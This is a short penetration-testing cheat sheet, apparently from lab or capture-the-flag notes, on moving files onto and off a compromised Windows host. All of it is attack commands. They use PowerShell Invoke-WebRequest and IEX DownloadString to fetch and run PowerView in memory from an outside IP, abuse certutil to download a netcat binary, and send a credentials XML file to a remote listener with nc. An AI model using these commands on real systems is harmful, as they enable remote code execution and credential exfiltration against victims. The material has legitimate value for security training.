Transferring Files

Powershell

Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"

Import-Module, DownloadString

IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.3/PowerView/PowerView.ps1')

CMD

certutil

certutil.exe -urlcache -f http://10.10.16.3/nc64.exe nc.exe

netcat

receiving end

nc -l -p 9000 > creds.xml

sending end

.\nc.exe -w 3 10.10.16.3 9000 < cred.xml

Last updated